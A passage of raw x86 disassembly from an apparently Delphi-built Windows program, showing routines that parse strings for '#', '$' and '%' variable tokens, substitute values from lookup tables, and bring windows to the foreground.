call fcn.00405498
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4500], eax
mov eax, dword [ebp - 0x1c]
call fcn.00405498
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x4504], eax
mov eax, dword [ebp - 0x18]
add eax, 0x104509
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44fc], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44fc]
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44fc]
xor edx, edx
mov dword [eax + 1], edx
mov eax, 0x553a94
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44fc]
mov dword [edx + 5], eax
mov eax, dword [ebp - 0x18]
add eax, 0x4508
xor ecx, ecx
mov edx, 0x100001
call fcn.004036d0
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov eax, dword [ebp - 0x18]
add eax, 0x44f4
push eax
mov eax, dword [ebp - 0x18]
call dword [eax + 0x44f0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44fc]
cmp byte [eax], 0
je 0x552391
lea eax, [ebp - 0xfc8]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44fc]
mov edx, dword [edx + 5]
call fcn.004051d0
mov eax, dword [ebp - 0xfc8]
call fcn.00405298
cdq
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44fc]
mov eax, dword [eax + 1]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x55235b
cmp eax, dword [esp]
pop edx
pop eax
jae 0x55237b
jmp 0x55235f
pop edx
pop eax
jge 0x55237b
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44fc]
mov eax, dword [eax + 1]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44fc]
mov edx, dword [edx + 5]
mov byte [edx + eax], 0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44fc]
mov edx, dword [edx + 5]
call fcn.004051d0
jmp 0x5523a7
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, 0x4508
mov ecx, 0x100001
call fcn.00405248
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
call fcn.00405580
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x11d4]
mov edx, dword [eax]
call dword [edx + 0xc8]
and al, byte [ebp - 0xc1]
je 0x5523f4
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x71], 1
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x11d8]
mov edx, dword [eax]
call dword [edx + 0xc8]
and al, byte [ebp - 0xc1]
je 0x552438
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x90], 0
je 0x55242e
mov eax, dword [ebp - 0x18]
push eax
push fcn.00534bc8
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x92], 1
mov eax, dword [0x590504]
mov eax, dword [eax]
mov eax, dword [eax + 0x11dc]
mov edx, dword [eax]
call dword [edx + 0xc8]
and al, byte [ebp - 0xc1]
je 0x552506
cmp byte [ebp - 0x285], 0
jne 0x552506
mov byte [ebp - 0x285], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
push eax
call sub.user32.dll_SetForegroundWindow
mov eax, dword [0x59051c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_SetForegroundWindow
mov eax, dword [0x590638]
cmp word [eax], 0
jbe 0x5524cb
lea edx, [ebp - 0xfcc]
mov eax, dword [0x590638]
movzx eax, word [eax]
add eax, 0x1c8
call fcn.0040ba78
mov eax, dword [ebp - 0xfcc]
call fcn.00405498
mov edx, 0x553c10
mov ecx, 0x40000
call fcn.0050315c
jmp 0x552506
mov edx, 0x553c10
mov eax, 0x553c28
mov ecx, 0x40000
call fcn.0050315c
jmp 0x552506
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x2c], eax
jmp 0x5524f1
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x2c]
jg 0x552506
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x54]
cmp byte [eax + edx - 1], 0x22
jne 0x5524ee
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xfd0]
push eax
lea edx, [ebp - 0xfd4]
mov eax, dword [ebp - 0x48]
call fcn.0040af24
mov eax, dword [ebp - 0xfd4]
push eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x54]
inc edx
pop eax
call fcn.004054f8
mov edx, dword [ebp - 0xfd0]
mov eax, dword [ebp - 0x4c]
call fcn.004055dc
add dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x58]
jg 0x53ed28
inc dword [ebp - 0x50]
dec dword [ebp - 0x2a0]
jne 0x53eca1
cmp byte [ebp - 0x195], 0
je 0x552584
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
call fcn.0040502c
jmp 0x553567
mov eax, dword [ebp - 0xa8]
mov edx, 0x553758
call fcn.004053e4
je 0x5525de
mov eax, dword [ebp - 0xa8]
mov edx, 0x553764
call fcn.004053e4
je 0x5525de
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537a0
call fcn.004053e4
je 0x5525de
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537b0
call fcn.004053e4
je 0x5525de
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537c4
call fcn.004053e4
jne 0x5525e8
cmp dword [ebp - 0x34], 1
je 0x552ce0
mov dword [ebp - 0x5c], 1
mov byte [ebp - 0xd1], 0
mov dword [ebp - 0x1e4], 0x20
lea eax, [ebp - 0x1e8]
mov edx, dword [ebp - 0x48]
call fcn.00405070
jmp 0x552ccf
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x55262e
mov eax, dword [ebp + 8]
mov edx, 0x553a00
call fcn.0040502c
jmp 0x553567
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x22
jne 0x552649
mov al, byte [ebp - 0xd1]
xor al, 1
mov byte [ebp - 0xd1], al
cmp byte [ebp - 0xd1], 0
jne 0x552ccc
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x23
je 0x552674
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x24
jne 0x552ccc
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x552ccc
cmp dword [ebp - 0x1e4], 0
jle 0x5526a2
dec dword [ebp - 0x1e4]
jmp 0x5526ce
mov eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x48]
call fcn.004053e4
je 0x552ce0
mov dword [ebp - 0x1e4], 0x20
lea eax, [ebp - 0x1e8]
mov edx, dword [ebp - 0x48]
call fcn.00405070
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0xa8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
inc dword [ebp - 0x5c]
lea eax, [ebp - 0x4c]
call fcn.00404fd8
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x140], 0
xor eax, eax
push ebp
push 0x5527e3
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x5527b3
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x2e
jne 0x552736
mov byte [ebp - 0x140], 1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x23
je 0x55275d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x24
je 0x55275d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x25
jne 0x55276d
cmp byte [ebp - 0x140], 0
je 0x5527d9
mov byte [ebp - 0x140], 0
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
add al, 0xd8
sub al, 2
jb 0x5527d9
sub al, 0x31
je 0x5527d9
sub al, 2
je 0x5527d9
sub al, 0x1e
je 0x5527d9
sub al, 2
je 0x5527d9
lea eax, [ebp - 0xfd8]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0xfd8]
lea eax, [ebp - 0x4c]
call fcn.004052a0
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x54]
jg 0x5527d9
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jb 0x552722
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5527ed
lea edx, [ebp - 0xfdc]
mov eax, dword [ebp - 0x4c]
call fcn.0040b05c
mov edx, dword [ebp - 0xfdc]
lea eax, [ebp - 0x4c]
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x54], eax
cmp byte [ebp - 0xd3], 0x23
jne 0x552aa2
mov edx, dword [ebp - 0x4c]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x552a89
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
lea eax, [ebp - 0x98]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x50], eax
jmp 0x552989
lea eax, [ebp - 0xfe0]
mov edx, dword [0x5904ec]
mov ecx, dword [ebp - 0x50]
mov edx, dword [edx + ecx*4]
mov edx, dword [edx + 0x40]
mov ecx, dword [ebp - 0x54]
mov ebx, ecx
shl ecx, 5
add ecx, ebx
lea edx, [edx + ecx*8]
call fcn.0040523c
mov eax, dword [ebp - 0xfe0]
mov edx, dword [ebp - 0x4c]
call fcn.004053e4
jne 0x552986
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ebx, eax
mov eax, dword [ebp - 0x98]
call fcn.00405298
add ebx, eax
inc ebx
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x14]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
call fcn.00405538
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 5
add edx, ecx
push dword [eax + edx*8 + 0x104]
push dword [eax + edx*8 + 0x100]
lea eax, [ebp - 0xfe4]
call fcn.0040b668
mov eax, dword [ebp - 0xfe4]
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
call fcn.00405580
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bdb], 0
je 0x552ccc
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 5
add edx, ecx
push dword [eax + edx*8 + 0x104]
push dword [eax + edx*8 + 0x100]
lea eax, [ebp - 0xfe8]
call fcn.0040b668
mov eax, dword [ebp - 0xfe8]
call fcn.00405298
add dword [ebp - 0x5c], eax
jmp 0x552ccc
inc dword [ebp - 0x54]
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x40]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x552881
jmp 0x552ccc
lea eax, [ebp - 0xfec]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 5
add edx, ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x40]
lea edx, [ecx + edx*8]
call fcn.0040523c
mov eax, dword [ebp - 0xfec]
mov edx, dword [ebp - 0x4c]
call fcn.004053e4
jne 0x552a86
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x14]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
call fcn.00405538
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 5
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x40]
push dword [edx + eax*8 + 0x104]
push dword [edx + eax*8 + 0x100]
lea eax, [ebp - 0xff0]
call fcn.0040b668
mov eax, dword [ebp - 0xff0]
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
call fcn.00405580
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bdb], 0
je 0x552ccc
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 5
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x40]
push dword [edx + eax*8 + 0x104]
push dword [edx + eax*8 + 0x100]
lea eax, [ebp - 0xff4]
call fcn.0040b668
mov eax, dword [ebp - 0xff4]
call fcn.00405298
add dword [ebp - 0x5c], eax
jmp 0x552ccc
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x40]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x5529aa
jmp 0x552ccc
cmp byte [ebp - 0xd3], 0x24
jne 0x552ccc
mov edx, dword [ebp - 0x4c]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x552cb8
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
lea eax, [ebp - 0x98]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x50], eax
jmp 0x552bf0
lea eax, [ebp - 0xff8]
mov edx, dword [0x5904ec]
mov ecx, dword [ebp - 0x50]
mov edx, dword [edx + ecx*4]
mov edx, dword [edx + 0x44]
mov ecx, dword [ebp - 0x54]
mov ebx, ecx
shl ecx, 6
add ecx, ebx
lea edx, [edx + ecx*4]
call fcn.0040523c
mov eax, dword [ebp - 0xff8]
mov edx, dword [ebp - 0x4c]
call fcn.004053e4
jne 0x552bed
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ebx, eax
mov eax, dword [ebp - 0x98]
call fcn.00405298
add ebx, eax
inc ebx
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x14]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
call fcn.00405538
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x44]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov eax, dword [eax + edx*4 + 0x100]
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
call fcn.00405580
dec dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bdb], 0
je 0x552ccc
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x44]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov eax, dword [eax + edx*4 + 0x100]
call fcn.00405298
add dword [ebp - 0x5c], eax
jmp 0x552ccc
inc dword [ebp - 0x54]
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x44]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x552b15
jmp 0x552ccc
lea eax, [ebp - 0xffc]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x44]
lea edx, [ecx + edx*4]
call fcn.0040523c
mov eax, dword [ebp - 0xffc]
mov edx, dword [ebp - 0x4c]
call fcn.004053e4
jne 0x552cb5
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x14]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
call fcn.00405538
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44]
mov eax, dword [edx + eax*4 + 0x100]
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
call fcn.00405580
dec dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bdb], 0
je 0x552ccc
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x44]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.00405298
add dword [ebp - 0x5c], eax
jmp 0x552ccc
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x552c11
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x5c]
jg 0x552613
mov eax, dword [ebp - 0xa8]
mov edx, 0x553758
call fcn.004053e4
je 0x552d3a
mov eax, dword [ebp - 0xa8]
mov edx, 0x553764
call fcn.004053e4
je 0x552d3a
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537a0
call fcn.004053e4
je 0x552d3a
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537b0
call fcn.004053e4
je 0x552d3a
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537c4
call fcn.004053e4
jne 0x552d44
cmp dword [ebp - 0x34], 1
je 0x553487
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0xd1], 0
cmp dword [ebp - 0x2c], 0
jle 0x553487
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x22
jne 0x552d81
mov al, byte [ebp - 0xd1]
xor al, 1
mov byte [ebp - 0xd1], al
cmp byte [ebp - 0xd1], 0
jne 0x55347a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x25
jne 0x55347a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x55347a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0xa8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
inc dword [ebp - 0x5c]
lea eax, [ebp - 0x4c]
call fcn.00404fd8
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x54], eax
xor eax, eax
push ebp
push 0x552ea7
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x552e50
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
add al, 0xd8
sub al, 2
jb 0x552e9d
sub al, 0x31
je 0x552e9d
sub al, 2
je 0x552e9d
sub al, 0x1e
je 0x552e9d
sub al, 2
je 0x552e9d
lea eax, [ebp - 0x1000]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0x1000]
lea eax, [ebp - 0x4c]
call fcn.004052a0
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x54]
jg 0x552e9d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x552e9d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x23
je 0x552e9d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x24
je 0x552e9d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x25
jne 0x552e06
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x552eb1
xor eax, eax
mov dword [ebp - 0x54], eax
cmp byte [ebp - 0xd3], 0x25
jne 0x55347a
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
call fcn.0040b05c
lea eax, [ebp - 0x4c]
call fcn.00404fd8
jmp 0x552efe
lea eax, [ebp - 0x1004]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x5c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0x1004]
lea eax, [ebp - 0x4c]
call fcn.004052a0
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x5c]
jl 0x552f18
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x5d
jne 0x552ed8
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x5c]
jl 0x55347a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x5d
jne 0x55347a
mov edx, dword [ebp - 0x1c]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x552f99
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
lea eax, [ebp - 0x98]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x50], eax
jmp 0x552fa0
mov dword [ebp - 0x50], 0xffffffff
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ebx, eax
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add ebx, eax
inc ebx
mov eax, dword [ebp - 0x5c]
sub eax, ebx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ebx, eax
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add ebx, eax
inc ebx
inc ebx
mov dword [ebp - 0x9c], ebx
cmp dword [ebp - 0x50], 0
jl 0x553000
mov eax, dword [ebp - 0x98]
call fcn.00405298
inc eax
sub dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x98]
call fcn.00405298
inc eax
add dword [ebp - 0x9c], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x58]
call fcn.00405538
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x9c], eax
jmp 0x55302e
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jle 0x553045
mov eax, dword [ebp - 0x4c]
mov al, byte [eax]
add al, 0xd0
sub al, 0xa
jae 0x55301c
lea eax, [ebp - 0x98]
call fcn.00404fd8
jmp 0x553085
lea eax, [ebp - 0x1008]
mov edx, dword [ebp - 0x4c]
mov dl, byte [edx]
call fcn.004051c0
mov edx, dword [ebp - 0x1008]
lea eax, [ebp - 0x98]
call fcn.004052a0
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jle 0x55309c
mov eax, dword [ebp - 0x4c]
mov al, byte [eax]
add al, 0xd0
sub al, 0xa
jb 0x553052
mov eax, dword [ebp - 0x98]
call fcn.0040b6e8
mov dword [ebp - 0x58], eax
xor eax, eax
push ebp
push 0x553144
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x5530cc
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jle 0x5530e3
mov eax, dword [ebp - 0x4c]
mov al, byte [eax]
add al, 0xd0
sub al, 0xa
jae 0x5530ba
lea eax, [ebp - 0x98]
call fcn.00404fd8
jmp 0x553123
lea eax, [ebp - 0x100c]
mov edx, dword [ebp - 0x4c]
mov dl, byte [edx]
call fcn.004051c0
mov edx, dword [ebp - 0x100c]
lea eax, [ebp - 0x98]
call fcn.004052a0
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jle 0x55313a
mov eax, dword [ebp - 0x4c]
mov al, byte [eax]
add al, 0xd0
sub al, 0xa
jb 0x5530f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553159
cmp dword [ebp - 0x50], 0
jge 0x55345e
jmp 0x553300
lea eax, [ebp - 0x1010]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x48]
lea edx, [ecx + edx*4]
call fcn.0040523c
mov eax, dword [ebp - 0x1010]
mov edx, dword [ebp - 0x1c]
call fcn.004053e4
jne 0x5532fd
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
cmp eax, dword [ebp - 0x58]
jl 0x5532d9
cmp dword [ebp - 0x98], 0
jne 0x55325e
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x58]
mov eax, dword [eax + edx*4 - 4]
call fcn.004063e0
test eax, eax
jle 0x5532e4
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 1
jle 0x55321e
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x1048b8]
call fcn.004052a0
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x48]
mov edx, dword [ecx + edx*4 + 0x100]
mov ecx, dword [ebp - 0x58]
mov edx, dword [edx + ecx*4 - 4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [edx + ecx*4 - 4]
call fcn.004052a0
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a0]
jne 0x553204
jmp 0x5532e4
mov eax, dword [ebp - 0x54]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x58]
mov eax, dword [eax + edx*4 - 4]
call fcn.004063e0
mov ebx, eax
mov eax, dword [ebp - 0x98]
call fcn.0040b6e8
cmp ebx, eax
jl 0x5532cc
mov eax, dword [ebp - 0x98]
call fcn.0040b6e8
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x48]
